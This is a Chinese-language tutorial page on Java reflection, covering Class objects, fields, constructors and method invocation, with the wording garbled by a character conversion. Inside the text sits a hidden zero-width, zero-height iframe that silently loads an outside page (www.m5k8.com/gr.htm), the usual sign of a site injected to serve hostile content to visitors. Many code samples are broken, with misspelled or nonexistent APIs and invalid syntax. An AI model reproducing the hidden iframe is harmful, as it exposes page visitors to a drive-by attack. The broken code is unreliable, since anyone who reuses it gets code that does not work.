java 反射入門-屬性方法調用執行個體

Java反射機制

一.概述

   reflection是一系列的API,用于表示或者處理目前JVM中的類,接口和對象.

   java.lang.reflect/java.lang.Class

二.主要功能

    确定一個對象的類

    取出類的modifiers,資料成員,方法,構造器,和超類.

    找出某個接口裡定義的常量和方法說明.

    建立一個類執行個體,這個執行個體在運作時刻才有名字(運作時間才生成的對象).

    取得和設定對象資料成員的值,如果資料成員名是運作時刻确定的也能做到.

    在運作時刻調用動态對象的方法.

    建立數組,數組大小和類型在運作時刻才确定,也能更改數組成員的值.

三.分析類

   取得資料成員名,方法和構造器

四.取得Class對象

   方法一> 

          如:myobject是某個類的對象

          則他的Class對象是Class myobjectclass=myobject.getClass()

                           System.err.println(myobjectclass.toString())

   方法二>取得某類對象的超類,可以用getSuperClass()方法

          如:TextComponet 類是TextField的超類

          TextField t=new TextField();

          Class c=t.getClass();

          Class s=c.getSuperclass();

    方法三>如果已知一個class

          如:已知java.swt.(Button.class)

          Class c=java.swt.Button.class;//直接獲得Class對象.

          System.err.println(c.toString());

    方法三>運作時才确定的類.(運作時綁定)

          forName(類名)傳回一個Class對象.

          如:Class c=Class.forName("java.swt.Button")

五.取得類名

六.找出超類

   getSuperclass();

                c x=new c();

   Class xx=x.getClass();

   Class xxx=xx.getSuperclass();

   System.err.println(xx.toString());//class

   System.err.println("XX的超類是:"+xxx.toString());

七.确定某類實作的接口

   getIntface()方法,傳回一個Class對象數組.

   MyObject o=new MyObject();

   Class c=o.getClass();

   Class[] theinterfaces=c.getIntfaces();

   for(int i=0;i<theinterfaces.length;i++)

   {

      String interfacename=theinterfaces[i].getName();

      System.out.println(interfacename);

   }

八.檢查接口

   同上....^_^

九.取得類字段(屬性)

   getFields()傳回一個字段數組.

   //::

   Panel g=new Panel();

   Class c=g.getClass();

   Field[] publicFields=c.getFields();

   for(int i=0;i<publicFields.length;i++)

   {

      String fieldName=poublicFields[i].getName();

      Class typeclass=publicFields[i].getType();

      string fieldType=typeclass.getName();

      System.out.println("字段:"+fieldName+"字段類型:"+fieldType);

   }

十.取得構造方法

   getconstructors()傳回一個constructor對象數組.利用這個constructor對象可以獲得構造方法的名字,參數(getParameterTypes()獲得

   參數類型清單),

   修飾符抛出的異常清單等資訊.也可以用constructor.newInstance()建立一個新的constructor對象.

   如:> myobject o=new myobject();

        Class c=o.getClass();

        Constructor[] theConstructors=c.getConstructors();

        for(int i=0;i<theConstructors.length;i++)

        {

            Class[] parameterTypes=theConstructors[i].getParameterTypes();

            for(int k=0;k<parameterTypes.length;k++)

            {

                 String parameterString=parameterTypes[k].getName();

                 System.out.print(parameterString+" ")

            }

            System.out.println();

        }

十一.取得方法資訊

     getMetheds()(getReturnType(),getParameterTypes())

十二.取得字段的值

     步驟:一.建立Class對象.二.用getField()建立一個Field對象.三.調用Field的get()方法.(set()方法用于動态設定字段的值)    

     Rectangle r=new Rectangle(100,20);

     Field widthField;

     Integer widthValue;

     Class c=r.getClass();

     widthField=c.getField("width");

     widthField.set(r.widthParam);

十三.建立對象

     方法一>:無參數.

     forName()找到一個類,然後用newInstance()建立一個對象.

     Class c=Class.forName("java.lang.Thread");//裝載類.

     Thread t=c.newInstance();

     方法二>有參數的,構造器newInstance()

     Class c=Class.forName("java.awt.Rectangle");

     Object o=null;

     Object[] args=new Object[] (int width,int height)

     Constructor constructor=c.getConstructor();

     o=constructor.newInstance(object[] args)

十四.判斷一個Class對象是一個類還是接口.

     class c=java.lang.thread.class

     if(c.isInterface)

        system.out.println("是接口");

     else

        System.out.println("是類");<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>

Java反射機制是實作hibernate以及Spring中IoC（依賴注入）的基礎。

Java類反射中所必須的類： 

      Java的類反射所需要的類并不多，它們分别是：Field、Constructor、Method、Class、Object，下面我将對這些類做一個簡單的說明。 

Field類：提供有關類或接口的屬性的資訊，以及對它的動态通路權限。反射的字段可能是一個類（靜态）屬性或執行個體屬性，簡單的了解可以把它看成一個封裝反射類的屬性的類。 

Constructor類：提供關于類的單個構造方法的資訊以及對它的通路權限。這個類和Field類不同，Field類封裝了反射類的屬性，而Constructor類則封裝了反射類的構造方法。 

Method類：提供關于類或接口上單獨某個方法的資訊。所反映的方法可能是類方法或執行個體方法（包括抽象方法）。 這個類不難了解，它是用來封裝反射類方法的一個類。 

Class類：類的執行個體表示正在運作的 Java 應用程式中的類和接口。枚舉是一種類，注釋是一種接口。每個數組屬于被映射為 Class 對象的一個類，所有具有相同元素類型和維數的數組都共享該 Class 對象。 

Object類：每個類都使用 Object 作為超類。所有對象（包括數組）都實作這個類的方法 

Field []f =getDeclaredFields () 擷取所有的屬性名 公有的 私有的 

Field f = temp.getDeclaredField("id"); //擷取私有的 屬性名為 id 

Field[] fb = temp.getFields() //擷取共有的 屬性 

調用 構造函數: 

Class[] types = new Class[] { String.class, String.class }; 

Constructor cons = TwoString.class.getConstructor(types); 

Object[] gg = new Object[] { "a", "b" }; 

TwoString ts = (TwoString) cons.newInstance(gg); //構造函數傳遞參數 2參數構造函數 

public TwoString(String a,String b){} 

調用方法： 

TwoString裡方法名 public int add(int i,int b); 

Class<?> classType =TwoString.class; 

        Object invokeTester = classType.getConstructor(types).newInstance(gg); 

        Method addMethod = classType.getMethod("add", new Class[] { int.class, int.class }); 

        Object result = addMethod.invoke(invokeTester, new Object[] { new Integer(100), new Integer(200) }); 

        System.out.println((Integer) result); 

} 

//擷取屬性值 getProperty(invokeTester , "共有屬性"); 

public static Object getProperty(Object owner, String fieldName) throws Exception { 

      Class ownerClass = Class.forName(owner.getClass().getName()); 

      Field field = ownerClass.getField(fieldName); 

      Object property = field.get(owner); 

      return property; 

}

java反射機制，通過類名擷取對象，通過方法名和參數調用方法執行個體 2009-11-05 01:20

try {  //得到對象  Class c = Class. forName(" 完整類名");  Object yourObj = c.newInstance();  //得到方法  Method methlist[] = cls.getDeclaredMethods();  for (int i = 0; i < methlist.length; i++) {  Method m = methlist[i];  }  //擷取到方法對象,假設方法的參數是一個int,method名為setAge  Method sAge = c. getMethod("setAge", new Class[] { int.class});  //獲得參數Object  Object[] arguments = new Object[] {  new Integer(37)};  //執行方法  sAge. invoke( yourObj , arguments);  } catch (Exception e) {  }